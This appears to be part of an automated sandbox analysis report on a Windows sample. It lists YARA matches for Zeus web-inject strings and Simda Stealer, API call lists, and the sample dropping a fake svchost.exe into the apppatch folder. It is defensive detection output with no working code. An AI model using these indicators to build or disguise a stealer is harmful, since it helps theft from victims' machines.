Source: 00000002.00000003.2726433713.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2633125874.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2774233552.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2517359385.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001E.00000002.2785000519.00000000027A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2168260986.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000024.00000002.2844886273.0000000001550000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3416553301.00000000029F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2760597306.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2773682224.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2649332327.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000013.00000002.2639288300.00000000011D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000000B.00000002.2649599507.0000000003270000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2776308232.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000007.00000002.2635595118.0000000001040000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2788341406.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2809880778.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000024.00000002.2845868580.00000000015B0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2785726916.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2787182616.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2758822752.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2809200397.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2757164455.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2775825052.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2168388667.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2776041284.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2790907170.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2794030784.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2774710797.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2170461210.0000000002A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2792838901.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2773445866.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2791900704.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2789409871.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2784224437.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2790002799.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001B.00000002.2728043702.0000000003040000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000006.00000002.2605946728.0000000001240000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000000B.00000002.2639594297.0000000002EA0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2810131303.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000009.00000002.2610520727.00000000009C0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000027.00000002.2872659642.0000000000D30000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2707114238.0000000003C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2678865886.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: UMwpXhA46R.exe PID: 7020, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: svchost.exe PID: 1112, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 6912, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 1220, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 2268, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3472, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 1492, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 6628, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 5128, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 2948, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3416, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3328, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3896, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 6212, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 1476, type: MEMORYSTR	Matched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown

Yara detected Simda Stealer

Source: Yara match	File source: 2.3.svchost.exe.881000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.svchost.exe.881000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.UMwpXhA46R.exe.7031e8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UMwpXhA46R.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UMwpXhA46R.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2168260986.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2168388667.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UMwpXhA46R.exe PID: 7020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1112, type: MEMORYSTR

Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C76A30 NtQuerySystemInformation,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,_snprintf,memset,_snprintf,OpenMutexA,	2_2_02C76A30
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C73940 VirtualQuery,VirtualQuery,VirtualQuery,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,	2_2_02C73940
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01243940 VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,	6_2_01243940
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_01043940 VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,	7_2_01043940
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A23940 VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,	9_2_00A23940

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_004020B0: CreateFileA,VirtualAlloc,DeviceIoControl,CloseHandle,

0_2_004020B0

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_004017F0 _snprintf,memset,MultiByteToWideChar,GetProcessHeap,GetProcessHeap,HeapAlloc,memset,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetProcessHeap,HeapAlloc,memset,MultiByteToWideChar,MultiByteToWideChar,GetProcessHeap,HeapAlloc,memset,MultiByteToWideChar,GetProcessHeap,CreateProcessWithLogonW,GetProcessHeap,HeapValidate,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,

0_2_004017F0

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	File created: C:\Windows\apppatch\svchost.exe			Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	File created: C:\Windows\apppatch\svchost.exe\:Zone.Identifier:$DATA			Jump to behavior

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00433980	0_2_00433980
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0043F190	0_2_0043F190
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0044599D	0_2_0044599D
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0040DA50	0_2_0040DA50
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00442250	0_2_00442250
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00440A60	0_2_00440A60
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00444280	0_2_00444280
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0043E340	0_2_0043E340
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00448360	0_2_00448360
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00422380	0_2_00422380
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00439B90	0_2_00439B90
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00443BB0	0_2_00443BB0
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_004434E0	0_2_004434E0
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0043A4F0	0_2_0043A4F0
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0040DDA0	0_2_0040DDA0
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0043FE00	0_2_0043FE00
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_004416C0	0_2_004416C0
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0043A6D0	0_2_0043A6D0
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_004386F0	0_2_004386F0
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0042CF60	0_2_0042CF60
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0040DFC0	0_2_0040DFC0
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_0044BFE3	0_2_0044BFE3
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00408FB0	0_2_00408FB0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00433980	2_2_00433980
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0043F190	2_2_0043F190
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0044599D	2_2_0044599D
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0040DA50	2_2_0040DA50
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00442250	2_2_00442250
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00440A60	2_2_00440A60
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00444280	2_2_00444280
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0043E340	2_2_0043E340
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00448360	2_2_00448360
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00422380	2_2_00422380
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00439B90	2_2_00439B90
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00443BB0	2_2_00443BB0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_004434E0	2_2_004434E0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0043A4F0	2_2_0043A4F0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0040DDA0	2_2_0040DDA0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0043FE00	2_2_0043FE00
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_004416C0	2_2_004416C0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0043A6D0	2_2_0043A6D0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_004386F0	2_2_004386F0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0042CF60	2_2_0042CF60
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0040DFC0	2_2_0040DFC0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_0044BFE3	2_2_0044BFE3
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00408FB0	2_2_00408FB0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C72BB0	2_2_02C72BB0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CAB2C0	2_2_02CAB2C0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CA42D0	2_2_02CA42D0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CA22F0	2_2_02CA22F0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CAF240	2_2_02CAF240
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CA9A00	2_2_02CA9A00
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C77BC0	2_2_02C77BC0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C96B60	2_2_02C96B60
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CAD0E0	2_2_02CAD0E0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CA40F0	2_2_02CA40F0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CB61E3	2_2_02CB61E3
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C779A0	2_2_02C779A0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CADE80	2_2_02CADE80
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C77650	2_2_02C77650
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CABE50	2_2_02CABE50
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CAA660	2_2_02CAA660
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C8BF80	2_2_02C8BF80
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CA3790	2_2_02CA3790
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CAD7B0	2_2_02CAD7B0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CA7F40	2_2_02CA7F40
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CB1F60	2_2_02CB1F60
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C9D580	2_2_02C9D580
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02CA8D90	2_2_02CA8D90
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029DF280	2_2_029DF280
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029A8A50	2_2_029A8A50
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029DD250	2_2_029DD250
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029DBA60	2_2_029DBA60
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029D4B90	2_2_029D4B90
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029BD380	2_2_029BD380
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029DEBB0	2_2_029DEBB0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029D9340	2_2_029D9340
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029E3360	2_2_029E3360
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029E099D	2_2_029E099D
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029DA190	2_2_029DA190
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029CE980	2_2_029CE980
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029D56D0	2_2_029D56D0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029DC6C0	2_2_029DC6C0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029D36F0	2_2_029D36F0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029DAE00	2_2_029DAE00
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029A3FB0	2_2_029A3FB0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029A8FC0	2_2_029A8FC0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029E6FE3	2_2_029E6FE3
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029C7F60	2_2_029C7F60
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029D54F0	2_2_029D54F0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029DE4E0	2_2_029DE4E0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029A8DA0	2_2_029A8DA0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_012479A0	6_2_012479A0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_012861E3	6_2_012861E3
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0127D0E0	6_2_0127D0E0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_012740F0	6_2_012740F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01266B60	6_2_01266B60
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01242BB0	6_2_01242BB0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01247BC0	6_2_01247BC0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01279A00	6_2_01279A00
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0127F240	6_2_0127F240
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_012722F0	6_2_012722F0
